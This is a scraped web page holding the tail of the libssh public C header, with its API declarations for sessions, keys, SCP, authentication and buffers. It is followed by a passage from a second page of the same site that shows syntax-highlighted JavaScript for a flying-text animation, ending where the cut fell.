LIBSSH_API ssh_session ssh_new(void); 611 612 LIBSSH_API int ssh_options_copy(ssh_session src, ssh_session *dest); 613 LIBSSH_API int ssh_options_getopt(ssh_session session, int *argcptr, char **argv); 614 LIBSSH_API int ssh_options_parse_config(ssh_session session, const char *filename); 615 LIBSSH_API int ssh_options_set(ssh_session session, enum ssh_options_e type, 616 const void *value); 617 LIBSSH_API int ssh_options_get(ssh_session session, enum ssh_options_e type, 618 char **value); 619 LIBSSH_API int ssh_options_get_port(ssh_session session, unsigned int * port_target); 620 LIBSSH_API int ssh_pcap_file_close(ssh_pcap_file pcap); 621 LIBSSH_API void ssh_pcap_file_free(ssh_pcap_file pcap); 622 LIBSSH_API ssh_pcap_file ssh_pcap_file_new(void); 623 LIBSSH_API int ssh_pcap_file_open(ssh_pcap_file pcap, const char *filename); 624 638 typedef int (*ssh_auth_callback) (const char *prompt, char *buf, size_t len, 639 int echo, int verify, void *userdata); 640 641 LIBSSH_API ssh_key ssh_key_new(void); 642 #define SSH_KEY_FREE(x) \ 643 do { if ((x) != NULL) { ssh_key_free(x); x = NULL; } } while(0) 644 LIBSSH_API void ssh_key_free (ssh_key key); 645 LIBSSH_API enum ssh_keytypes_e ssh_key_type(const ssh_key key); 646 LIBSSH_API const char *ssh_key_type_to_char(enum ssh_keytypes_e type); 647 LIBSSH_API enum ssh_keytypes_e ssh_key_type_from_name(const char *name); 648 LIBSSH_API int ssh_key_is_public(const ssh_key k); 649 LIBSSH_API int ssh_key_is_private(const ssh_key k); 650 LIBSSH_API int ssh_key_cmp(const ssh_key k1, 651 const ssh_key k2, 652 enum ssh_keycmp_e what); 653 654 LIBSSH_API int ssh_pki_generate(enum ssh_keytypes_e type, int parameter, 655 ssh_key *pkey); 656 LIBSSH_API int ssh_pki_import_privkey_base64(const char *b64_key, 657 const char *passphrase, 658 ssh_auth_callback auth_fn, 659 void *auth_data, 660 ssh_key *pkey); 661 LIBSSH_API int ssh_pki_export_privkey_base64(const ssh_key privkey, 662 const char *passphrase, 663 ssh_auth_callback auth_fn, 664 void *auth_data, 665 char **b64_key); 666 LIBSSH_API int ssh_pki_import_privkey_file(const char *filename, 667 const char *passphrase, 668 ssh_auth_callback auth_fn, 669 void *auth_data, 670 ssh_key *pkey); 671 LIBSSH_API int ssh_pki_export_privkey_file(const ssh_key privkey, 672 const char *passphrase, 673 ssh_auth_callback auth_fn, 674 void *auth_data, 675 const char *filename); 676 677 LIBSSH_API int ssh_pki_copy_cert_to_privkey(const ssh_key cert_key, 678 ssh_key privkey); 679 680 LIBSSH_API int ssh_pki_import_pubkey_base64(const char *b64_key, 681 enum ssh_keytypes_e type, 682 ssh_key *pkey); 683 LIBSSH_API int ssh_pki_import_pubkey_file(const char *filename, 684 ssh_key *pkey); 685 686 LIBSSH_API int ssh_pki_import_cert_base64(const char *b64_cert, 687 enum ssh_keytypes_e type, 688 ssh_key *pkey); 689 LIBSSH_API int ssh_pki_import_cert_file(const char *filename, 690 ssh_key *pkey); 691 692 LIBSSH_API int ssh_pki_export_privkey_to_pubkey(const ssh_key privkey, 693 ssh_key *pkey); 694 LIBSSH_API int ssh_pki_export_pubkey_base64(const ssh_key key, 695 char **b64_key); 696 LIBSSH_API int ssh_pki_export_pubkey_file(const ssh_key key, 697 const char *filename); 698 699 LIBSSH_API const char *ssh_pki_key_ecdsa_name(const ssh_key key); 700 701 LIBSSH_API char *ssh_get_fingerprint_hash(enum ssh_publickey_hash_type type, 702 unsigned char *hash, 703 size_t len); 704 LIBSSH_API void ssh_print_hash(enum ssh_publickey_hash_type type, unsigned char *hash, size_t len); 705 LIBSSH_API int ssh_send_ignore (ssh_session session, const char *data); 706 LIBSSH_API int ssh_send_debug (ssh_session session, const char *message, int always_display); 707 LIBSSH_API void ssh_gssapi_set_creds(ssh_session session, const ssh_gssapi_creds creds); 708 LIBSSH_API int ssh_scp_accept_request(ssh_scp scp); 709 LIBSSH_API int ssh_scp_close(ssh_scp scp); 710 LIBSSH_API int ssh_scp_deny_request(ssh_scp scp, const char *reason); 711 LIBSSH_API void ssh_scp_free(ssh_scp scp); 712 LIBSSH_API int ssh_scp_init(ssh_scp scp); 713 LIBSSH_API int ssh_scp_leave_directory(ssh_scp scp); 714 LIBSSH_API ssh_scp ssh_scp_new(ssh_session session, int mode, const char *location); 715 LIBSSH_API int ssh_scp_pull_request(ssh_scp scp); 716 LIBSSH_API int ssh_scp_push_directory(ssh_scp scp, const char *dirname, int mode); 717 LIBSSH_API int ssh_scp_push_file(ssh_scp scp, const char *filename, size_t size, int perms); 718 LIBSSH_API int ssh_scp_push_file64(ssh_scp scp, const char *filename, uint64_t size, int perms); 719 LIBSSH_API int ssh_scp_read(ssh_scp scp, void *buffer, size_t size); 720 LIBSSH_API const char *ssh_scp_request_get_filename(ssh_scp scp); 721 LIBSSH_API int ssh_scp_request_get_permissions(ssh_scp scp); 722 LIBSSH_API size_t ssh_scp_request_get_size(ssh_scp scp); 723 LIBSSH_API uint64_t ssh_scp_request_get_size64(ssh_scp scp); 724 LIBSSH_API const char *ssh_scp_request_get_warning(ssh_scp scp); 725 LIBSSH_API int ssh_scp_write(ssh_scp scp, const void *buffer, size_t len); 726 LIBSSH_API int ssh_select(ssh_channel *channels, ssh_channel *outchannels, socket_t maxfd, 727 fd_set *readfds, struct timeval *timeout); 728 LIBSSH_API int ssh_service_request(ssh_session session, const char *service); 729 LIBSSH_API int ssh_set_agent_channel(ssh_session session, ssh_channel channel); 730 LIBSSH_API int ssh_set_agent_socket(ssh_session session, socket_t fd); 731 LIBSSH_API void ssh_set_blocking(ssh_session session, int blocking); 732 LIBSSH_API void ssh_set_counters(ssh_session session, ssh_counter scounter, 733 ssh_counter rcounter); 734 LIBSSH_API void ssh_set_fd_except(ssh_session session); 735 LIBSSH_API void ssh_set_fd_toread(ssh_session session); 736 LIBSSH_API void ssh_set_fd_towrite(ssh_session session); 737 LIBSSH_API void ssh_silent_disconnect(ssh_session session); 738 LIBSSH_API int ssh_set_pcap_file(ssh_session session, ssh_pcap_file pcapfile); 739 740 /* USERAUTH */ 741 LIBSSH_API int ssh_userauth_none(ssh_session session, const char *username); 742 LIBSSH_API int ssh_userauth_list(ssh_session session, const char *username); 743 LIBSSH_API int ssh_userauth_try_publickey(ssh_session session, 744 const char *username, 745 const ssh_key pubkey); 746 LIBSSH_API int ssh_userauth_publickey(ssh_session session, 747 const char *username, 748 const ssh_key privkey); 749 #ifndef _WIN32 750 LIBSSH_API int ssh_userauth_agent(ssh_session session, 751 const char *username); 752 #endif 753 LIBSSH_API int ssh_userauth_publickey_auto(ssh_session session, 754 const char *username, 755 const char *passphrase); 756 LIBSSH_API int ssh_userauth_password(ssh_session session, 757 const char *username, 758 const char *password); 759 760 LIBSSH_API int ssh_userauth_kbdint(ssh_session session, const char *user, const char *submethods); 761 LIBSSH_API const char *ssh_userauth_kbdint_getinstruction(ssh_session session); 762 LIBSSH_API const char *ssh_userauth_kbdint_getname(ssh_session session); 763 LIBSSH_API int ssh_userauth_kbdint_getnprompts(ssh_session session); 764 LIBSSH_API const char *ssh_userauth_kbdint_getprompt(ssh_session session, unsigned int i, char *echo); 765 LIBSSH_API int ssh_userauth_kbdint_getnanswers(ssh_session session); 766 LIBSSH_API const char *ssh_userauth_kbdint_getanswer(ssh_session session, unsigned int i); 767 LIBSSH_API int ssh_userauth_kbdint_setanswer(ssh_session session, unsigned int i, 768 const char *answer); 769 LIBSSH_API int ssh_userauth_gssapi(ssh_session session); 770 LIBSSH_API const char *ssh_version(int req_version); 771 772 LIBSSH_API void ssh_string_burn(ssh_string str); 773 LIBSSH_API ssh_string ssh_string_copy(ssh_string str); 774 LIBSSH_API void *ssh_string_data(ssh_string str); 775 LIBSSH_API int ssh_string_fill(ssh_string str, const void *data, size_t len); 776 #define SSH_STRING_FREE(x) \ 777 do { if ((x) != NULL) { ssh_string_free(x); x = NULL; } } while(0) 778 LIBSSH_API void ssh_string_free(ssh_string str); 779 LIBSSH_API ssh_string ssh_string_from_char(const char *what); 780 LIBSSH_API size_t ssh_string_len(ssh_string str); 781 LIBSSH_API ssh_string ssh_string_new(size_t size); 782 LIBSSH_API const char *ssh_string_get_char(ssh_string str); 783 LIBSSH_API char *ssh_string_to_char(ssh_string str); 784 #define SSH_STRING_FREE_CHAR(x) \ 785 do { if ((x) != NULL) { ssh_string_free_char(x); x = NULL; } } while(0) 786 LIBSSH_API void ssh_string_free_char(char *s); 787 788 LIBSSH_API int ssh_getpass(const char *prompt, char *buf, size_t len, int echo, 789 int verify); 790 791 792 typedef int (*ssh_event_callback)(socket_t fd, int revents, void *userdata); 793 794 LIBSSH_API ssh_event ssh_event_new(void); 795 LIBSSH_API int ssh_event_add_fd(ssh_event event, socket_t fd, short events, 796 ssh_event_callback cb, void *userdata); 797 LIBSSH_API int ssh_event_add_session(ssh_event event, ssh_session session); 798 LIBSSH_API int ssh_event_add_connector(ssh_event event, ssh_connector connector); 799 LIBSSH_API int ssh_event_dopoll(ssh_event event, int timeout); 800 LIBSSH_API int ssh_event_remove_fd(ssh_event event, socket_t fd); 801 LIBSSH_API int ssh_event_remove_session(ssh_event event, ssh_session session); 802 LIBSSH_API int ssh_event_remove_connector(ssh_event event, ssh_connector connector); 803 LIBSSH_API void ssh_event_free(ssh_event event); 804 LIBSSH_API const char* ssh_get_clientbanner(ssh_session session); 805 LIBSSH_API const char* ssh_get_serverbanner(ssh_session session); 806 LIBSSH_API const char* ssh_get_kex_algo(ssh_session session); 807 LIBSSH_API const char* ssh_get_cipher_in(ssh_session session); 808 LIBSSH_API const char* ssh_get_cipher_out(ssh_session session); 809 LIBSSH_API const char* ssh_get_hmac_in(ssh_session session); 810 LIBSSH_API const char* ssh_get_hmac_out(ssh_session session); 811 812 LIBSSH_API ssh_buffer ssh_buffer_new(void); 813 LIBSSH_API void ssh_buffer_free(ssh_buffer buffer); 814 #define SSH_BUFFER_FREE(x) \ 815 do { if ((x) != NULL) { ssh_buffer_free(x); x = NULL; } } while(0) 816 LIBSSH_API int ssh_buffer_reinit(ssh_buffer buffer); 817 LIBSSH_API int ssh_buffer_add_data(ssh_buffer buffer, const void *data, uint32_t len); 818 LIBSSH_API uint32_t ssh_buffer_get_data(ssh_buffer buffer, void *data, uint32_t requestedlen); 819 LIBSSH_API void *ssh_buffer_get(ssh_buffer buffer); 820 LIBSSH_API uint32_t ssh_buffer_get_len(ssh_buffer buffer); 821 822 #ifndef LIBSSH_LEGACY_0_4 823 #include "libssh/legacy.h" 824 #endif 825 826 #ifdef __cplusplus 827 } 828 #endif 829 #endif /* _LIBSSH_H */</small> </body> </html> <!-- Juan Angel Luzardo Muslera / montevideo Uruguay -->
Nenu-doc / Acta Non Verba<!DOCTYPE html> <html> <head> <title>Biblioteca</title> </head> <body> <pre style='color:#d1d1d1;background:#000000;'><span style='color:#008073; '><!DOCTYPE html></span> <span style='color:#ff8906; '><</span><span style='color:#e66170; font-weight:bold; '>html</span><span style='color:#ff8906; '>></span> <span style='color:#ff8906; '><</span><span style='color:#e66170; font-weight:bold; '>head</span><span style='color:#ff8906; '>></span> <span style='color:#ff8906; '><</span><span style='color:#e66170; font-weight:bold; '>title</span><span style='color:#ff8906; '>></span>Biblioteca<span style='color:#ff8906; '></</span><span style='color:#e66170; font-weight:bold; '>title</span><span style='color:#ff8906; '>></span> <span style='color:#ff8906; '></</span><span style='color:#e66170; font-weight:bold; '>head</span><span style='color:#ff8906; '>></span> <span style='color:#ff8906; '><</span><span style='color:#e66170; font-weight:bold; '>body</span><span style='color:#ff8906; '>></span> <span style='color:#ff8906; '><</span><span style='color:#e66170; font-weight:bold; '>h2</span> id<span style='color:#d2cd86; '>=</span><span style='color:#00c4c4; '>"fly"</span><span style='color:#ff8906; '>></span>White flag Juan Angel / Montevideo Uruguay<span style='color:#ff8906; '></</span><span style='color:#e66170; font-weight:bold; '>h2</span><span style='color:#ff8906; '>></span> <span style='color:#ff8906; '><</span><span style='color:#e66170; font-weight:bold; '>script</span> type<span style='color:#d2cd86; '>=</span><span style='color:#00c4c4; '>"text/javascript"</span><span style='color:#ff8906; '>></span> message <span style='color:#d2cd86; '>=</span> document<span style='color:#d2cd86; '>.</span>getElementById<span style='color:#d2cd86; '>(</span><span style='color:#02d045; '>"</span><span style='color:#00c4c4; '>fly</span><span style='color:#02d045; '>"</span><span style='color:#d2cd86; '>)</span><span style='color:#d2cd86; '>.</span>innerHTML<span style='color:#b060b0; '>;</span> distance <span style='color:#d2cd86; '>=</span> <span style='color:#008c00; '>50</span><span style='color:#b060b0; '>;</span> speed <span style='color:#d2cd86; '>=</span> <span style='color:#008c00; '>200</span><span style='color:#b060b0; '>;</span> <span style='color:#e66170; font-weight:bold; '>var</span> txt<span style='color:#d2cd86; '>=</span><span style='color:#02d045; '>"</span><span style='color:#02d045; '>"</span><span style='color:#d2cd86; '>,</span> num<span style='color:#d2cd86; '>=</span><span style='color:#008c00; '>0</span><span style='color:#d2cd86; '>,</span> num4<span style='color:#d2cd86; '>=</span><span style='color:#008c00; '>0</span><span style='color:#d2cd86; '>,</span> flyofle<span style='color:#d2cd86; '>=</span><span style='color:#02d045; '>"</span><span style='color:#02d045; '>"</span><span style='color:#d2cd86; '>,</span> flyofwi<span style='color:#d2cd86; '>=</span><span style='color:#02d045; '>"</span><span style='color:#02d045; '>"</span><span style='color:#d2cd86; '>,</span> flyofto<span style='color:#d2cd86; '>=</span><span style='color:#02d045; '>"</span><span style='color:#02d045; '>"</span><span style='color:#d2cd86; '>,</span> fly<span style='color:#d2cd86; '>=</span>document<span style='color:#d2cd86; '>.</span>getElementById<span style='color:#d2cd86; '>(</span><span style='color:#02d045; '>"</span><span style='color:#00c4c4; '>fly</span><span style='color:#02d045; '>"</span><span style='color:#d2cd86; '>)</span><span style='color:#b060b0; '>;</span> <span style='color:#e66170; font-weight:bold; '>function</span> stfly<span style='color:#d2cd86; '>(</span><span style='color:#d2cd86; '>)</span> <span style='color:#b060b0; '>{</span> <span style='color:#e66170; font-weight:bold; '>for</span><span style='color:#d2cd86; '>(</span>i<span style='color:#d2cd86; '>=</span><span style='color:#008c00; '>0</span><span style='color:#b060b0; '>;</span>i <span style='color:#d2cd86; '>!=</span> message<span style='color:#d2cd86; '>.</span><span style='color:#e66170; font-weight:bold; '>length</span><span style='color:#b060b0; '>;</span>i<span style='color:#d2cd86; '>++</span><span style='color:#d2cd86; '>)</span> <span style='color:#b060b0; '>{</span> <span style='color:#e66170; font-weight:bold; '>if</span><span style='color:#d2cd86; '>(</span>message<span style='color:#d2cd86; '>.</span><span style='color:#e66170; font-weight:bold; '>charAt</span><span style='color:#d2cd86; '>(</span>i<span style='color:#d2cd86; '>)</span> <span style='color:#d2cd86; '>!=</span> <span style='color:#02d045; '>"</span><span style='color:#00c4c4; '>$</span><span style='color:#02d045; '>"</span><span style='color:#d2cd86; '>)</span> txt <span style='color:#d2cd86; '>+=</span> <span style='color:#02d045; '>"</span><span style='color:#00c4c4; '><span style='position:relative;visibility:hidden;' id='n</span><span style='color:#02d045; '>"</span><span style='color:#d2cd86; '>+</span>i<span style='color:#d2cd86; '>+</span><span style='color:#02d045; '>"</span><span style='color:#00c4c4; '>'></span><span style='color:#02d045; '>"</span><span style='color:#d2cd86; '>+</span>message<span style='color:#d2cd86; '>.</span><span style='color:#e66170; font-weight:bold; '>charAt</span><span style='color:#d2cd86; '>(</span>i<span style='color:#d2cd86; '>)</span><span style='color:#d2cd86; '>+</span><span style='color:#02d045; '>"</span><span style='color:#00c4c4; '><\/span></span><span style='color:#02d045; '>"</span><span style='color:#b060b0; '>;</span> <span style='color:#e66170; font-weight:bold; '>else</span> txt <span style='color:#d2cd86; '>+=</span> <span style='color:#02d045; '>"</span><span style='color:#00c4c4; '><br></span><span style='color:#02d045; '>"</span><span style='color:#b060b0; '>;</span> <span style='color:#b060b0; '>}</span> fly<span style='color:#d2cd86; '>.</span>innerHTML <span style='color:#d2cd86; '>=</span> txt<span style='color:#b060b0; '>;</span> txt <span style='color:#d2cd86; '>=</span> <span style='color:#02d045; '>"</span><span style='color:#02d045; '>"</span><span style='color:#b060b0; '>;</span> flyofle <span style='color:#d2cd86; '>=</span> fly<span style='color:#d2cd86; '>.</span>offsetLeft<span style='color:#b060b0; '>;</span> flyofwi <span style='color:#d2cd86; '>=</span> fly<span style='color:#d2cd86; '>.</span>offsetWidth<span style='color:#b060b0; '>;</span> flyofto <span style='color:#d2cd86; '>=</span> fly<span style='color:#d2cd86; '>.</span>offsetTop<span style='color:#b060b0; '>;</span> fly2b<span style='color:#d2cd86; '>(</span><span style='color:#d2cd86; '>)</span><span style='color:#b060b0; '>;</span> <span style='color:#b060b0; '>}</span> <span style='color:#e66170; font-weight:bold; '>function</span> fly2b<span style='color:#d2cd86; '>(</span><span style='color:#d2cd86; '>)</span> <span style='color:#b060b0; '>{</span> <span style='color:#e66170; font-weight:bold; '>if</span><span style='color:#d2cd86; '>(</span>num4 <span style='color:#d2cd86; '>!=</span> message<span style='color:#d2cd86; '>.</span><span style='color:#e66170; font-weight:bold; '>length</span><span style='color:#d2cd86; '>)</span> <span style='color:#b060b0; '>{</span> <span style='color:#e66170; font-weight:bold; '>if</span><span style='color:#d2cd86; '>(</span>message<span style='color:#d2cd86; '>.</span><span style='color:#e66170; font-weight:bold; '>charAt</span><span style='color:#d2cd86; '>(</span>num4<span style='color:#d2cd86; '>)</span> <span style='color:#d2cd86; '>!=</span> <span style='color:#02d045; '>"</span><span style='color:#00c4c4; '>$</span><span style='color:#02d045; '>"</span><span style='color:#d2cd86; '>)</span> <span style='color:#b060b0; '>{</span> <span style='color:#e66170; font-weight:bold; '>var</span> then <span style='color:#d2cd86; '>=</span> document<span style='color:#d2cd86; '>.</span>getElementById<span style='color:#d2cd86; '>(</span><span style='color:#02d045; '>"</span><span style='color:#00c4c4; '>n</span><span style='color:#02d045; '>"</span> <span style='color:#d2cd86; '>+</span> num4<span style='color:#d2cd86; '>)</span><span style='color:#b060b0; '>;</span> then<span style='color:#d2cd86; '>.</span>style<span style='color:#d2cd86; '>.</span>left <span style='color:#d2cd86; '>=</span> flyofle <span style='color:#d2cd86; '>-</span> then<span style='color:#d2cd86; '>.</span>offsetLeft <span style='color:#d2cd86; '>+</span> flyofwi <span style='color:#02d045; '>/</span><span style='color:#00c4c4; '> 2 </span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '> 'px';</span> <span style='color:#00c4c4; '>then</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>style</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>top = flyofto - then</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>offsetTop </span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '> distance </span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '> 'px';</span> <span style='color:#00c4c4; '>fly3</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>then</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>id, parseInt</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>then</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>style</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>left</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '>, parseInt</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>then</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>style</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>left</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> / 5, parseInt</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>then</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>style</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>top</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '>, parseInt</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>then</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>style</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>top</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> / 5</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '>;</span> <span style='color:#00c4c4; '>        }</span> <span style='color:#00c4c4; '>        num4</span><span style='color:#d2cd86; '>+</span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>;</span> <span style='color:#00c4c4; '>        setTimeout</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>"fly2b</span><span style='color:#d2cd86; '>(</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '>", speed</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '>;</span> <span style='color:#00c4c4; '>    }</span> <span style='color:#00c4c4; '>}</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>function fly3</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>target,lef2,num2,top2,num3</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> {</span> <span style='color:#00c4c4; '>    if</span><span style='color:#d2cd86; '>(</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>Math</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>floor</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>top2</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> != 0 && Math</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>floor</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>top2</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> != -1</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> </span><span style='color:#b060b0; '>|</span><span style='color:#b060b0; '>|</span><span style='color:#00c4c4; '> </span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>Math</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>floor</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>lef2</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> != 0 && Math</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>floor</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>lef2</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> != -1</span><span style='color:#d2cd86; '>)</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> {</span> <span style='color:#00c4c4; '>        if</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>lef2 >= 0</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>            lef2 -= num2;</span> <span style='color:#00c4c4; '>        else</span> <span style='color:#00c4c4; '>            lef2 </span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>= num2 </span><span style='color:#d2cd86; '>*</span><span style='color:#00c4c4; '> -1;</span> <span style='color:#00c4c4; '>        if</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>Math</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>floor</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>lef2</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> != -1</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> {</span> <span style='color:#00c4c4; '>document</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>getElementById</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>target</span><span style='color:#d2cd86; '>)</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>style</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>visibility = "visible";</span> <span style='color:#00c4c4; '>document</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>getElementById</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>target</span><span style='color:#d2cd86; '>)</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>style</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>left = Math</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>floor</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>lef2</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> </span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '> 'px';</span> <span style='color:#00c4c4; '>        } else {</span> <span style='color:#00c4c4; '>            document</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>getElementById</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>target</span><span style='color:#d2cd86; '>)</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>style</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>visibility = "visible";</span> <span style='color:#00c4c4; '>            document</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>getElementById</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>target</span><span style='color:#d2cd86; '>)</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>style</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>left = Math</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>floor</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>lef2 </span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '> 1</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> </span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '> 'px';</span> <span style='color:#00c4c4; '>        }</span> <span style='color:#00c4c4; '>        if</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>lef2 >= 0</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>            top2 -= num3</span> <span style='color:#00c4c4; '>        else</span> <span style='color:#00c4c4; '>            top2 </span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>= num3 </span><span style='color:#d2cd86; '>*</span><span style='color:#00c4c4; '> -1;</span> <span style='color:#00c4c4; '>        if</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>Math</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>floor</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>top2</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> != -1</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>            document</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>getElementById</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>target</span><span style='color:#d2cd86; '>)</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>style</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>top = Math</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>floor</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>top2</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> </span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '> 'px';</span> <span style='color:#00c4c4; '>        else</span> <span style='color:#00c4c4; '>            document</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>getElementById</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>target</span><span style='color:#d2cd86; '>)</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>style</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>top = Math</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>floor</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>top2 </span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '> 1</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> </span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '> 'px';</span> <span style='color:#00c4c4; '>        setTimeout</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>"fly3</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>'"</span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>target</span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>"',"</span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>lef2</span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>","</span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>num2</span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>","</span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>top2</span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>","</span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>num3</span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>"</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '>",50</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>    }</span> <span style='color:#00c4c4; '>}</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>stfly</span><span style='color:#d2cd86; '>(</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '><</span><span style='color:#02d045; '>/</span>script<span style='color:#d2cd86; '>></span> <span style='color:#d2cd86; '><</span>h2<span style='color:#d2cd86; '>></span>LIBRARY SSH<span style='color:#d2cd86; '><</span><span style='color:#d2cd86; '>/</span>h2<span style='color:#d2cd86; '>></span> <span style='color:#d2cd86; '><</span>strong<span style='color:#d2cd86; 